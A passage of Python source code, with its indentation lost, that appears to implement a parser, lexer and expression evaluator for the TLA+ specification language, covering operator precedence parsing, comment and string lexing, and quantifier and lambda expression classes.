# See if this is an expression starting with /\ or \/
lex = lexeme(s[0])
if lex in { "/\\", "\\/" }:
(lex, line, column, first) = s[0]
token = (lex, column, True)
stack.append(token)
(t, a, r) = GExpression(0).parse(s[1:])
if t == False:
stack.pop()
return parseError([ ("GExpression" + str(self.level), s[0]) ] + a, r)
while r != [] and junct(r[0]) == token:
(t2, a2, r2) = GExpression(0).parse(r[1:])
if not t2:
stack.pop()
return parseError([ "GExpression0" ] + a2, r2)
(t, a, r) = ("Infix0", (s[0], (t, a), (t2, a2)), r2)
stack.pop()
return (t, a, r)
# See if the expression starts with a prefix operator.
# TODO. Should match again GGeneralPrefixOp
x = PrefixOps.get(lexeme(s[0]))
if x != None:
# Compute the precedence level of the operator.
prec = precedence(x)
# Parse an expression of the given precedence level.
(t, a, r) = GExpression(prec).parse(s[1:])
if t == False:
return parseError([ "GExpression" + str(self.level)
+ ": " + str(s[0]) ] + a, r)
(t, a, r) = ("Prefix" + str(prec), (s[0], (t, a)), r)
# If not a prefix get an expression at the next precedence level
else:
(t, a, r) = GExpression(self.level + 1).parse(s)
if t == False:
return parseError([ "GExpression" + str(self.level)
+ ": " + str(s[0]) ] + a, r)
# Loop through the remainder.
while r != []:
# If a disjunct or conjunct, we're done.
if junct(r[0]) in stack:
return (t, a, r)
# See if it's a postfix expression with sufficient precedence
x = PostfixOps.get(lexeme(r[0]))
if x != None:
# Compute the precedence level. If of a lower level, we're done.
prec = precedence(x)
if prec <= self.level:
return (t, a, r)
# Check for an index expression
if lexeme(r[0]) == '[':
(t2, a2, r2) = Concat([tok("["),
CommaList(GExpression(0)), tok("]")]).parse(r)
if not t2:
return (False, ["GExpresssion" + str(self.level)
+ ": bad index"] + a2, r2)
(t, a, r) = ("Index", (r[0], (t, a), a2[1]), r2)
else:
(t, a, r) = ("Postfix" + str(self.level), ((t, a),
r[0]), r[1:])
else:
# See if the next token is an infix operator. If not, we're done.
lex = lexeme(r[0])
x = InfixOps.get(lex)
if x == None:
return (t, a, r)
# If it's the '.' operator, it should be followed by a field name
if lex == ".":
(t2, a2, r2) = Name().parse(r[1:])
if t2 == False:
return (False, [ "GExpression" + str(self.level)
+ ": no field name" ] + a2, r2)
assert t2 == "Name"
(t, a, r) = ("Index", (r[0], (t, a),
("CommaList", [("String", '"' + lexeme(a2) + '"')])), r2)
else:
# Compute the precedence. If too low, we're done.
prec = precedence(x)
if prec <= self.level:
return (t, a, r)
# Get the next expression at that precedence level.
(t2, a2, r2) = GExpression(prec).parse(r[1:])
if t2 == False:
return (False, [ "GExpression" + str(self.level)
+ ": " + str(r[0]) ] + a2, r2)
# Cartesian products are not infix operators
if lex in { "\\X", "\\times" }:
if t == "Cartesian":
(t, a, r) = ("Cartesian", a + [(t2, a2)], r2)
else:
(t, a, r) = ("Cartesian", [(t, a), (t2, a2)], r2)
else:
(t, a, r) = ("Infix" + str(self.level),
(r[0], (t, a), (t2, a2)), r2)
return (t, a, r)
# Separate AST node for the EXCEPT clause in a function update operation
class GExcept(Rule):
def parse(self, s):
(t, a, r) = CommaList(Concat([
tok("!"),
AtLeast(OneOf([
Tag("efield", Concat([ tok("."), Name() ]), [1]),
Tag("elist", Concat([ tok("["), CommaList(GExpression(0)),
tok("]"), ]), [1])
]), 1),
tok("="),
GExpression(0)
])).parse(s)
if not t:
return (False, ["GExcept"] + a, r)
assert t == "CommaList"
result = []
for x in a:
(t2, a2) = x
assert t2 == "Concat"
(t3, a3) = a2[1]
assert t3 == "AtLeast1"
result = result + [ (a3, a2[3]) ]
return ("GExcept", result, r)
class GBasicExpression(Rule):
def parse(self, s):
return self.match("GBasicExpression", s, OneOf([
Tag("op", Concat([
GGeneralIdentifier(), Optional(Concat([
tok("("), CommaList(GArgument()), tok(")") ]), [1])
]), [0, 1]),
Tag("parentheses", Concat([
tok("("), GExpression(0), tok(")") ]), [1]),
Tag("exists", Concat([ tok("\\E"), CommaList(GQuantifierBound()),
tok(":"), GExpression(0) ]), [1, 3]),
Tag("forall", Concat([ tok("\\A"), CommaList(GQuantifierBound()),
tok(":"), GExpression(0) ]), [1, 3]),
Tag("temporal_exists", Concat([ tok("\\EE"), CommaList(Identifier()),
tok(":"), GExpression(0) ]), [1, 3]),
Tag("temporal_forall", Concat([ tok("\\AA"), CommaList(Identifier()),
tok(":"), GExpression(0) ]), [1, 3]),
Tuple(),
Tag("set", Concat([ tok("{"), Optional(CommaList(GExpression(0))),
tok("}") ]), [1]),
Tag("filter", Concat([ tok("{"), IdentifierOrTuple(),
tok("\\in"), GExpression(0),
tok(":"), GExpression(0),
tok("}") ]), [1, 3, 5]),
Tag("gen", Concat([ tok("{"), GExpression(0), tok(":"),
CommaList(GQuantifierBound()),
tok("}") ]), [1, 3]),
Tag("square", Concat([ tok("["), GExpression(0), tok("]_"),
GExpression(0) ]), [1, 3]),
Tag("lambda", Concat([
tok("["), CommaList(GQuantifierBound()), tok("|->"),
GExpression(0), tok("]")
]), [1, 3]),
Tag("except", Concat([ tok("["), GExpression(0), tok("EXCEPT"),
GExcept(), tok("]") ]), [1, 3]),
Tag("funcset", Concat([
tok("["), GExpression(0), tok("->"), GExpression(0), tok("]")
]), [1, 3]),
Tag("recorddef", Concat([
tok("["),
CommaList(Concat([ Name(), tok(":"), GExpression(0) ])),
tok("]")
]), [1]),
Tag("recordvalue", Concat([
tok("["),
CommaList(Concat([ Name(), tok("|->"), GExpression(0) ])),
tok("]")
]), [1]),
Tag("choose", Concat([
tok("CHOOSE"), Identifier(),
Optional(Concat([tok("\\in"), GExpression(0)]), [1]),
tok(":"), GExpression(0) ]), [1, 2, 4]),
Tag("if", Concat([ tok("IF"), GExpression(0), tok("THEN"),
GExpression(0), tok("ELSE"), GExpression(0) ]), [1, 3, 5]),
Tag("case", Concat([ tok("CASE"), SeparatorList(
Concat([ GExpression(0), tok("->"), GExpression(0) ]),
"[]", False), Optional(
Concat([ tok("[]"), tok("OTHER"), tok("->"), GExpression(0) ]),
[3]) ]), [1, 2]),
Tag("let", Concat([ tok("LET"),
AtLeast( OneOf([
GOperatorDefinition(),
GFunctionDefinition(),
GModuleDefinition() ]), 1),
tok("IN"), GExpression(0) ]), [1, 3]),
# There's an ambiguity for WF_a(b): does it mean
# "WF_ a(b)" or "WF_a (b)"? My parser gets confused
# so I restricted it a bit
Tag("wf", Concat([ tok("WF_"), IdentifierOrTuple(),
tok("("), GExpression(0), tok(")")]), [1, 3]),
Tag("sf", Concat([ tok("SF_"), IdentifierOrTuple(),
tok("("), GExpression(0), tok(")")]), [1, 3]),
Number(),
String(),
Tag("at", tok("@"))
]))
#### #### #### #### #### #### #### #### #### #### #### #### #### #### #### ####
#### Compiler: Lexer
#### #### #### #### #### #### #### #### #### #### #### #### #### #### #### ####
# Initial list of tokens for the lexer. More added later from op tables.
tokens = [
"<<", ">>", "]_", "<-", "->", "|->", "==",
"\\A", "\\E", "\\AA", "\\EE", "WF_", "SF_"
]
# Add tokens from the given operator table
def addTokens(boundedvars):
global tokens
for (op, (low, hi)) in boundedvars.items():
if not isalnum(op[0]) and not (len(op) > 1 \
and op[0] == "\\" and isletter(op[1])):
tokens = tokens + [ op ]
# add tokens from the operators
addTokens(PrefixOps)
addTokens(InfixOps)
addTokens(PostfixOps)
def stringToken(x):
(lexeme, where, column, first) = x
(file, line) = where
return lexeme + " (" + file + ":" + str(line) + ":" + str(column) + ")"
# Turn input into a sequence of tokens. Each token is a tuple
# (lexeme, (file, line), column, first), where first is true if
# it's the first token on the line
def lexer(s, file):
result = []
line = 1
column = 1
first = True
while s != "":
# see if it's a blank
if s[0] in { " ", "\t" }:
s = s[1:]
column += 1
continue
if s[0] == "\n":
s = s[1:]
line += 1
column = 1
first = True
continue
# Skip over "pure" TLA+
if s.startswith("\\*++:SPEC"):
s = s[8:]
while len(s) > 0 and not s.startswith("\\*++:PlusPy"):
s = s[1:]
continue
# skip over line comments
if s.startswith("\\*"):
s = s[2:]
while len(s) > 0 and s[0] != '\n':
s = s[1:]
continue
# skip over nested comments
if s.startswith("(*"):
count = 1
s = s[2:]
column += 2
while count != 0 and s != "":
if s.startswith("(*"):
count += 1
s = s[2:]
column += 2
elif s.startswith("*)"):
count -= 1
s = s[2:]
column += 2
elif s[0] == "\n":
s = s[1:]
line += 1
column = 1
first = True
else:
s = s[1:]
column += 1
continue
# a series of four or more '-' characters is a lexeme
if s.startswith("----"):
s = s[4:]
c = column
column += 4
while len(s) > 0 and s[0] == '-':
s = s[1:]
column += 1
result += [ ("----", (file, line), c, first) ]
first = False
continue
# a series of four or more '=' characters is a lexeme
if s.startswith("===="):
s = s[4:]
c = column
column += 4
while len(s) > 0 and s[0] == '=':
s = s[1:]
column += 1
result += [ ("====", (file, line), c, first) ]
first = False
continue
# if a backslash, it may be an special operator. Otherwise just \
if s[0] == "\\" and len(s) > 1 and isalnum(s[1]):
i = 2
while i < len(s) and isalnum(s[i]):
i += 1
result += [ (s[:i], (file, line), column, False) ]
first = False
s = s[i:]
column += i
continue
# see if it's a multi-character token. Match with the longest one
found = ""
for t in tokens:
if s.startswith(t) and len(t) > len(found):
found = t
if found != "":
result += [ (found, (file, line), column, first) ]
first = False
s = s[len(found):]
column += len(found)
continue
# see if a sequence of letters and numbers
if isnamechar(s[0]):
i = 0
while i < len(s) and isnamechar(s[i]):
i += 1
result += [ (s[:i], (file, line), column, first) ]
first= False
s = s[i:]
column += i
continue
# string
if s[0] == '"':
i = 1
str = '"'
while i < len(s) and s[i] != '"':
if s[i] == '\\':
i += 1
if i == len(s):
break
if s[i] == '"':
str += '"'
elif s[i] == '\\':
str += '\\'
elif s[i] == 't':
str += '\t'
elif s[i] == 'n':
str += '\n'
elif s[i] == 'f':
str += '\f'
elif s[i] == 'r':
str += '\r'
else:
str += s[i]
else:
str += s[i]
i += 1
if i < len(s):
i += 1
str += '"'
result += [ (str, (file, line), column, first) ]
first = False
s = s[i:]
column += i
continue
# everything else is a single character token
result += [ (s[0], (file, line), column, first) ]
first = False
s = s[1:]
column += 1
return result
#### #### #### #### #### #### #### #### #### #### #### #### #### #### #### ####
#### Compiler: Expressions
#### #### #### #### #### #### #### #### #### #### #### #### #### #### #### ####
# Get the prefix of an A!B!C type expression
def getprefix(ast, operators):
(t, a) = ast
assert t == "GInstancePrefix"
(t1, a1) = a
assert t1 == "AtLeast0"
instances = []
for x in a1:
(t2, a2) = x
assert t2 == "Concat"
assert len(a2) == 3
(t3, a3) = a2[0]
assert t3 == "Identifier"
od = operators[lexeme(a3)]
assert isinstance(od, OperatorExpression)
if not isinstance(od.expr, ModInst):
print("trying to instantiate", od.expr)
assert isinstance(od.expr, ModInst)
(t4, a4) = a2[1]
assert t4 == "Optional"
args = []
if a4 != None:
(t5, a5) = a4
assert t5 == "CommaList"
for (t, a) in a5:
assert t == "GArgument"
args += [ compileExpression(a) ]
instances += [(a3, od, args)]
operators = od.expr.operators
return (operators, instances)
# handle complicated situations like A(a)!B(b)!C(c)
# This is best done backwards:
# First find A!B!C
# Make substitutions to create A!B!C(c)
# Then A!B(b)!C(c)
# Finally A(a)!B(b)!C(c)
def opSubst(instances):
(lex, iop, iargs) = instances[0]
assert isinstance(iop, OperatorExpression)
oargs = iop.args
oexpr = iop.expr
if len(instances) == 1:
expr = oexpr
else:
assert isinstance(oexpr, ModInst)
expr = opSubst(instances[1:])
# A 1st or 2nd order operator has arguments. However, when passed as
# an argument to another operator no arguments are specified. In that
# case it should not be expanded here.
if len(oargs) > 0 and iargs == []:
return iop
# Check that the arity of the operator is correct
if (len(oargs) != len(iargs)):
print("arity mismatch", lex, "expected:", len(oargs), "got:", len(iargs))
exit(1)
# Do a substitution, replacing argument names with argument values
subs = {}
for i in range(len(oargs)):
subs[oargs[i]] = iargs[i]
x = expr.substitute(subs)
if isinstance(x, BuiltinExpression):
return BuiltinExpression(id=x.id, args=x.args,
wrapper=x.wrapper, lex=lex, primed=x.primed)
return x
# This is an expression of the form A!B(b)!C, say
def compileOpExpression(od):
primed = False
# print("COE", od)
(t0, a0) = od[0]
assert t0 in [ "GGeneralIdentifier", "GGeneralPrefixOp",
"GGeneralInfixOp", "GGeneralPostfixOp" ]
assert len(a0) == 2
(t1, a1) = a0
assert t1 == "Concat"
assert len(a1) == 2
# get the list of instances in the prefix
(operators, instances) = getprefix(a1[0], modstk[-1].operators)
# get the identifier and arguments
# print("COE1", a1[1])
(t2, a2) = a1[1]
assert t2 in {"Identifier", "Tok"}
name = lexeme(a2)
(t3, a3) = od[1]
assert t3 == "Optional"
if a3 == None:
args = []
else:
(t4, a4) = a3
assert t4 == "CommaList"
args = a4
cargs = []
for (t, a) in args:
assert t == "GArgument"
comp = compileExpression(a)
if comp.primed:
primed = True
cargs = cargs + [comp]
# We are now at a point where we have to figure out whether this
# is the name of an operator or another identifier such as a
# variable. If there was a prefix or there are arguments, it must
# be the name of an operator. If not, it could be either.
id = name_lookup(name)
# print("OE", name, id, cargs, operators.get(id))
if id and not isinstance(id, OperatorExpression):
assert instances == []
if cargs == []:
return id
if isinstance(id, ConstantExpression):
assert id.count == len(cargs)
return ParameterExpression(id, cargs)
else:
assert isinstance(id, ArgumentExpression)
assert id.nargs == len(cargs)
return ParameterExpression(id, cargs)
elif operators.get(name) == None:
print("unknown identifier", stringToken(a2))
exit(1)
else:
id = operators[name]
assert isinstance(id, OperatorExpression)
return opSubst(instances + [(a2, id, cargs)])
def compileQuantBoundExpression(which, qs, ex):
quantifiers = []
domains = []
(t, a) = qs
assert t == "CommaList" # one or more quantifiers
assert len(a) > 0
for q in a: # loop through these
(t2, a2) = q
assert t2 == "GQuantifierBound"
domain = compileExpression(a2[1])
(t3, a3) = a2[0]
assert t3 in {"CommaList", "Tuple"}
assert t3 == "CommaList" # ignore tuples for now
for (t4, a4) in a3:
assert t4 == "Identifier"
quantifiers += [BoundvarExpression(lexeme(a4))]
domains += [domain]
name_stack.append({ bv.id:bv for bv in quantifiers })
expr = compileExpression(ex)
name_stack.pop()
if which == "exists":
return ExistsExpression(quantifiers=quantifiers, domains=domains, expr=expr, primed=expr.primed)
if which == "forall":
return ForallExpression(quantifiers=quantifiers, domains=domains, expr=expr, primed=expr.primed)
if which == "lambda":
return LambdaExpression(quantifiers=quantifiers, domains=domains, expr=expr, primed=expr.primed)
if which == "gen":
return GenExpression(expr=expr, quantifiers=quantifiers, domains=domains, primed=expr.primed)
assert False
def compileQuantUnboundExpression(which, func):
quantifiers = []
(t, a) = func[0]
assert t == "CommaList" # one or more quantifiers
assert len(a) > 0
for q in a: # loop through these
(t2, a2) = q
assert t2 == "Identifier"
quantifiers += [VariableExpression(lexeme(a2))]
name_stack.append({ bv.id:bv for bv in quantifiers })
expr = compileExpression(func[1])
name_stack.pop()
if which == "temporal_exists":
return Temporal_existsExpression(quantifiers=quantifiers, expr=expr, primed=expr.primed)
if which == "temporal_forall":
return Temporal_forallExpression(quantifiers=quantifiers, expr=expr, primed=expr.primed)
assert False
def compileExpression(ast):
(t, a) = ast
if t == False:
print("compileExpression", a)
assert False
elif t == "op":
return compileOpExpression(a)
elif t in { "arg-prefix", "arg-infix", "arg-postfix" }:
return compileOpExpression([a, ("Optional", None)])
elif t in { "exists", "forall", "lambda" }:
return compileQuantBoundExpression(t, a[0], a[1])
elif t == "gen":
return compileQuantBoundExpression(t, a[1], a[0])
elif t in { "temporal_exists", "temporal_forall" }:
return compileQuantUnboundExpression(t, a)
elif t in { "GBasicExpression", "parentheses" }:
return compileExpression(a)
elif t == "Tuple":
return TupleExpression().fromAST(a)
elif t == "set":
return SetExpression().fromAST(a)
elif t == "filter":
return FilterExpression().fromAST(a)
elif t == "Number":
return NumberExpression(a)
elif t == "String":
return StringExpression(a[1:-1])
elif t == "Index":
return IndexExpression().fromAST(a)
elif t.startswith("Prefix"):
return OutfixExpression().fromAST(a)
elif t.startswith("Postfix"):
(expr, op) = a
if lexeme(op) == "'":
return PrimeExpression().fromAST(expr)
else:
return OutfixExpression().fromAST(a)
elif t.startswith("Infix"):
return InfixExpression().fromAST(a)
elif t == "Cartesian":
return CartesianExpression().fromAST(a)
elif t == "choose":
return ChooseExpression().fromAST(a)
elif t == "if":
return IfExpression().fromAST(a)
elif t == "case":
return CaseExpression().fromAST(a)
elif t == "let":
return LetExpression().fromAST(a)
elif t == "recordvalue":
return RecordvalueExpression().fromAST(a)
elif t == "funcset":
return FuncsetExpression().fromAST(a)
elif t == "except":
return ExceptExpression().fromAST(a)
elif t == "square":
return SquareExpression().fromAST(a)
elif t == "recorddef":
return RecorddefExpression().fromAST(a)
elif t in { "wf", "sf" }:
return FairnessExpression(t, a)
elif t == "at":
return name_find("@")
else:
print("Can't compile ", ast)
return None
# handle an "Operator(args) == Expression" definition
def compileOperatorDefinition(od):
(t0, a0) = od[0]
if t0 == "GNonFixLHS":
assert len(a0) == 2
(t2, a2) = a0[0]
assert t2 == "Identifier"
id = lexeme(a2)
(t3, a3) = a0[1]
assert t3 == "Optional"
if a3 == None:
args = []
else:
(t4, a4) = a3
assert t4 == "CommaList"
args = a4
cargs = []
for (t, a) in args:
assert t == "GOpDecl"
(t2, a2) = a
if t2 == "Identifier":
cargs = cargs + [(lexeme(a2), 0)]
elif t2 == "paramOp":
(t3, a3) = a2[0]
assert t3 == "Identifier"
(t4, a4) = a2[1]
assert t4 == "CommaList"
cargs = cargs + [(lexeme(a3), len(a4))]
elif t2 == "prefixOp" or t2 == "postfixOp":
cargs = cargs + [(a2, 1)]
elif t2 == "infixOp":
cargs = cargs + [(a2, 2)]
else:
assert False
elif t0 == "prefix":
(t1, a1) = a0
assert t1 == "Concat"
(t3, a3) = a1[0]
assert t3 == "Tok"
(t4, a4) = a1[1]
assert t4 == "Identifier"
id = lexeme(a3)
cargs = [(lexeme(a4), 0)]
elif t0 == "infix":
(t1, a1) = a0
assert t1 == "Concat"
(t2, a2) = a1[0]
assert t2 == "Identifier"
(t3, a3) = a1[1]
assert t3 == "Tok"
(t4, a4) = a1[2]
assert t4 == "Identifier"
id = lexeme(a3)
cargs = [(lexeme(a2), 0), (lexeme(a4), 0)]
elif t0 == "postfix":
(t1, a1) = a0
assert t1 == "Concat"
(t2, a2) = a1[0]
assert t2 == "Identifier"
(t3, a3) = a1[1]
assert t3 == "Tok"
id = lexeme(a3)
cargs = [(lexeme(a2), 0)]
else:
print("compileOperatorDefinition", t0, a0)
assert False
# print("OD", modstk[-1].name, id)
args = [ArgumentExpression(a, n) for (a, n) in cargs]
name_stack.append({ a.id:a for a in args })
ce = compileExpression(od[1])
name_stack.pop()
return (id, args, ce)
# handle a "Function[args] == Expression" definition. Define as
# f[x \in D] == e ==> f == CHOOSE f: f = [x \ D: e]
def compileFunctionDefinition(od):
(t0, a0) = od[0]
assert t0 == "Identifier"
id = lexeme(a0)
bve = BoundvarExpression(id)
name_stack.append({ id: bve })
f = compileQuantBoundExpression("lambda", od[1], od[2])
name_stack.pop()
(op, file, column, first) = a0
infix = InfixExpression(op=("=", file, column, first), lhs=bve, rhs=f)
c = ChooseExpression(id=bve, expr=infix)
return (id, [], c)
# Convert a value to something a little more normal and better for printing
def convert(v):
if isinstance(v, tuple):
return tuple([ convert(x) for x in v ])
if isinstance(v, frozenset):
return [ convert(y) for y in set(v) ]
if isinstance(v, FrozenDict):
return { convert(x):convert(y) for (x, y) in v.d.items() }
return v
def is_tla_id(s):
if not isinstance(s, str):
return False
if any(not isnamechar(c) for c in s):
return False
return any(isletter(c) for c in s)
# Defines a sorting order on all values
def key(v):
if isinstance(v, bool):
return (0, v)
if isinstance(v, int):
return (1, v)
if isinstance(v, str):
return (2, v)
if isinstance(v, tuple):
return (3, [key(x) for x in v])
if isinstance(v, frozenset):
lst = [key(x) for x in v]
return (4, sorted(lst))
if isinstance(v, FrozenDict):
lst = [(key(k), key(v)) for (k, v) in v.d.items()]
return (5, sorted(lst))
if isinstance(v, Nonce):
return (6, v.id)
print(v)
assert False
# Convert a value to a string in TLA+ format
def format(v):
if v == "":
return "<<>>"
if v == frozenset():
return "{}"
if isinstance(v, bool):
return "TRUE" if v else "FALSE"
if isinstance(v, str):
return '"' + v + '"'
if isinstance(v, tuple):
result = ""
for x in v:
if result != "":
result += ", "
result += format(x)
return "<< " + result + " >>"
if isinstance(v, frozenset):
lst = sorted(v, key=lambda x: key(x))
result = ""
for x in lst:
if result != "":
result += ", "
result += format(x)
return "{ " + result + " }"
if isinstance(v, FrozenDict):
return v.format()
return str(v)
class Expression:
def __init__(self):
self.primed = None # set if this expression is primed
def __repr__(self):
return self.__str__()
def runInit(self, containers, boundedvars):
print("runInit", self)
assert False
def eval(self, containers, boundedvars):
print("Eval: ", self)
assert False
def apply(self, containers, boundedvars, fargs):
v = self.eval(containers, boundedvars)
if v == None:
print("Default apply", self, fargs)
assert v != None
return funceval(v, fargs)
# A built-in expression
class BuiltinExpression(Expression):
def __init__(self, id=None, args=None, wrapper=None, lex=None, primed=False):
self.id = id
self.args = args
self.wrapper = wrapper
self.lex = lex
self.primed = primed
def __str__(self):
return "Builtin(" + self.id + ", " + str(self.args) + ", " + \
str(self.wrapper) + ", " + str(self.lex) + ")"
def substitute(self, subs):
args = [x.substitute(subs) for x in self.args]
return BuiltinExpression(id=self.id, args=args,
wrapper=self.wrapper, lex=self.lex, primed=self.primed)
def eval(self, containers, boundedvars):
# print("BI eval", self)
args = [ arg.eval(containers, boundedvars) for arg in self.args ]
try:
return self.wrapper.eval(self.id, args)
except Exception as e:
print("Evaluating", stringToken(self.lex), "failed")
print(e)
print(traceback.format_exc())
exit(1);
# The simplest of expressions is just a value
class ValueExpression(Expression):
def __init__(self, value=None, primed=False):
self.value = value
self.primed = primed
def __str__(self):
return "Value(" + str(self.value) + ")"
def substitute(self, subs):
return self
def eval(self, containers, boundedvars):
return self.value
# Another simple one is a variable expression
class VariableExpression(Expression):
def __init__(self, id=None, primed=False):
self.id = id
self.primed = primed
def __str__(self):
return "Variable(" + str(self.id) + ")"
def substitute(self, subs):
if subs.get(self) == None:
return self
else:
global initializing
if initializing:
return PrimeExpression(expr=subs[self])
else:
return subs[self]
def eval(self, containers, boundedvars):
print("Error: variable", self.id, "not realized", containers, boundedvars)
exit(1)
# Another simple one is a constant expression
class ConstantExpression(Expression):
def __init__(self, id=None, count=0, primed=False):
self.id = id
self.count = count
self.primed = primed
def __str__(self):
return "Constant(" + self.id + ", " + str(self.count) + ")"
def substitute(self, subs):
if subs.get(self) == None:
return self
else:
return subs[self]
def eval(self, containers, boundedvars):
print("Error: constant", self.id, "does not have a value")
exit(1)
# Another simple one is a bounded variable (in \E, lambdas, etc.)
# The values are in the "boundedvars" dictionary
class BoundvarExpression(Expression):
def __init__(self, id=None, primed=False):
self.id = id
self.primed = primed
global bv_counter
bv_counter += 1
self.uid = bv_counter
def __str__(self):
return "Boundvar(" + str(self.id) + ", " + str(self.uid) + ")"
def substitute(self, subs):
return self
def eval(self, containers, boundedvars):
expr = boundedvars[self]
assert isinstance(expr, ValueExpression)
return expr.eval(containers, boundedvars)
def apply(self, containers, boundedvars, fargs):
expr = boundedvars[self]
return expr.apply(containers, boundedvars, fargs)
# An "argument" is the usage of an argument to an operator definition
# inside its body. It itself may have arguments. Needs to be substituted
# before evaluation
class ArgumentExpression(Expression):
def __init__(self, id=None, nargs=0, primed=False):
self.id = id
self.nargs = nargs
self.primed = primed
def __str__(self):
return "Argument(" + str(self.id) + ", " + str(self.nargs) + ")"
def substitute(self, subs):
if subs.get(self) == None:
return self
else:
return subs[self]
def eval(self, containers, boundedvars):
print("Error: argument", self.id, "not realized", self.nargs, containers, boundedvars)
assert False
# This is like an ArgumentExpression with arguments of its own (i.e., an
# argument of a 2nd order operator, but with its arguments instantiated
# It still needs to be substituted with an actual operator before evaluation
class ParameterExpression(Expression):
def __init__(self, argument=None, args=None, primed=False):
self.argument = argument
self.args = args
self.primed = primed
def __str__(self):
return "Parameter(" + str(self.argument) + ", " + str(self.args) + ")"
def substitute(self, subs):
if subs.get(self.argument):
op = subs.get(self.argument)
if isinstance(op, OperatorExpression):
assert isinstance(op, OperatorExpression)
assert len(self.args) == len(op.args)
s = subs.copy()
for i in range(len(self.args)):
s[op.args[i]] = self.args[i].substitute(s)
return op.expr.substitute(s)
else:
assert isinstance(op, ArgumentExpression)
assert len(self.args) == op.nargs
# print("ZZZ", self, op, subs)
return ParameterExpression(argument=op, args=self.args,
primed=self.primed)
else:
args = [a.substitute(subs) for a in self.args]
return ParameterExpression(argument=self.argument, args=args,
primed=self.primed)
def eval(self, containers, boundedvars):
print("Error: parameter", self.argument, "not realized")
assert False
class OperatorExpression(Expression):
def __init__(self, id=None, args=None, expr=None, primed=False):
self.id = id
self.args = args
self.expr = expr
self.primed = primed
def __str__(self):
return "Operator(" + self.id + ", " + str(self.args) + ")"
# + ", " + self.expr.__str__() \
def substitute(self, subs):
return OperatorExpression(id=self.id, args=self.args,
expr=self.expr.substitute(subs), primed=self.primed)
def eval(self, containers, boundedvars):
# print("operator", self, "invoked without arguments")
return self
# Another simple one is a container expression, which holds a value for a variable
# for both the previous state and the next state
class ContainerExpression(Expression):
def __init__(self, var=None, primed=False):
self.var = var
self.primed = primed
self.prev = None
self.next = None
def __str__(self):
return "Container(" + self.var.id + ", " + str(convert(self.prev)) \
+ ", " + str(convert(self.next)) + ")"
def substitute(self, subs):
return self
def eval(self, containers, boundedvars):
if self.prev == None:
print("null container", self)
assert self.prev != None
return self.prev
class SquareExpression(Expression):
def __init__(self, lhs=None, rhs=None, primed=False):
self.lhs = lhs
self.rhs = rhs
self.primed = primed
def fromAST(self, exprs):
assert len(exprs) == 2
self.lhs = compileExpression(exprs[0])
self.rhs = compileExpression(exprs[1])
assert not self.rhs.primed
self.primed = self.lhs.primed
return self
def __str__(self):
return "Square(" + self.lhs.__str__() + ", " + self.rhs.__str__() + ")"
def substitute(self, subs):
lhs = self.lhs.substitute(subs)
rhs = self.rhs.substitute(subs)
return SquareExpression(lhs=lhs, rhs=rhs, primed=self.primed)
def eval(self, containers, boundedvars):
return self.lhs.eval(containers, boundedvars)
class FairnessExpression(Expression):
def __init__(self, t, a):
self.type = t
(t0, a0) = a[0]
if t0 == "Identifier":
self.lhs = VariableExpression(id=lexeme(a0))
else:
self.lhs = compileExpression(a[0])
self.rhs = compileExpression(a[1])
assert not self.lhs.primed
self.primed = self.rhs.primed
def __str__(self):
return "FAIRNESS(" + self.type + ", " + self.lhs.__str__() \
+ ", " + self.rhs.__str__() + ")"
def substitute(self, subs):
return self
class LambdaExpression(Expression):
def __init__(self, quantifiers=None, domains=None, expr=None, primed=False):
self.quantifiers = quantifiers
self.domains = domains
self.expr = expr
self.primed = primed
def __str__(self):
return "Lambda(" + str(self.quantifiers) + ", " + self.expr.__str__() + ")"
def substitute(self, subs):
domains = [ expr.substitute(subs) for expr in self.domains ]
expr = self.expr.substitute(subs)
return LambdaExpression(quantifiers=self.quantifiers, domains=domains,
expr=expr, primed=self.primed)
def enumerate(self, containers, domains, lst, result, boundedvars):
if domains == []:
if len(lst) == 1:
result[lst[0]] = self.expr.eval(containers, boundedvars)
else:
result[tuple(lst)] = self.expr.eval(containers, boundedvars)
else:
(var, domain) = domains[0]
if domain == False:
print("Error: possibly trying to evaluate Nat")
exit(1)
domain = sorted(domain, key=lambda x: key(x))
for val in domain:
boundedvars[var] = ValueExpression(val)
self.enumerate(containers, domains[1:], lst + [val],
result, boundedvars)
def eval(self, containers, boundedvars):
domains = []
for i in range(len(self.quantifiers)):
domains += [ (self.quantifiers[i],
self.domains[i].eval(containers, boundedvars)) ]
result = {}
self.enumerate(containers, domains, [], result, boundedvars.copy())
return simplify(FrozenDict(result))
def apply(self, containers, boundedvars, fargs):
assert len(self.quantifiers) == len(fargs)
bv = boundedvars.copy()
for i in range(len(fargs)):
var = self.quantifiers[i]
bv[var] = ValueExpression(fargs[i])
return self.expr.eval(containers, bv)
class ExistsExpression(Expression):
def __init__(self, quantifiers=None, domains=None, expr=None, primed=False):
self.quantifiers = quantifiers
self.domains = domains
self.expr = expr
self.primed = primed
def __str__(self):
return "Exists(" + str(self.quantifiers) + ", " + self.expr.__str__() + ")"
def substitute(self, subs):
domains = [ expr.substitute(subs) for expr in self.domains ]
expr = self.expr.substitute(subs)
return ExistsExpression(quantifiers=self.quantifiers, domains=domains,
expr=expr, primed=self.primed)
def enumerate(self, containers, domains, boundedvars):
global IO_outputs, waitset, signalset
if domains == []:
return self.expr.eval(containers, boundedvars)
(var, domain) = domains[0]
# Pseudo-randomized SAT solving...
domain = sorted(domain, key=lambda x: key(x))
domain = random.sample(list(domain), len(domain))
# Copy next state in case need to restore
output_copy = IO_outputs.copy()
waitset_copy = waitset.copy()
signalset_copy = signalset.copy()
copy = {}
for (k, v) in containers.items():
copy[k] = v.next
for val in domain:
boundedvars[var] = ValueExpression(val)
if self.enumerate(containers, domains[1:], boundedvars):
return True
# restore state before trying next
for (k, v) in copy.items():
containers[k].next = v
IO_outputs = output_copy
waitset = waitset_copy
signalset = signalset_copy
return False
def eval(self, containers, boundedvars):
domains = []
for i in range(len(self.quantifiers)):
domains += [ (self.quantifiers[i],
self.domains[i].eval(containers, boundedvars)) ]
return self.enumerate(containers, domains, boundedvars.copy())
class ForallExpression(Expression):
def __init__(self, quantifiers=None, domains=None, expr=None, primed=False):
self.quantifiers = quantifiers
self.domains = domains
self.expr = expr
self.primed = primed
def __str__(self):
return "Forall(" + str(self.quantifiers) + ", " + self.expr.__str__() + ")"
def substitute(self, subs):
domains = [ expr.substitute(subs) for expr in self.domains ]
expr = self.expr.substitute(subs)
return ForallExpression(quantifiers=self.quantifiers, domains=domains,
expr=expr, primed=self.primed)
def enumerate(self, containers, domains, boundedvars):
if domains == []:
return self.expr.eval(containers, boundedvars)
(var, domain) = domains[0]
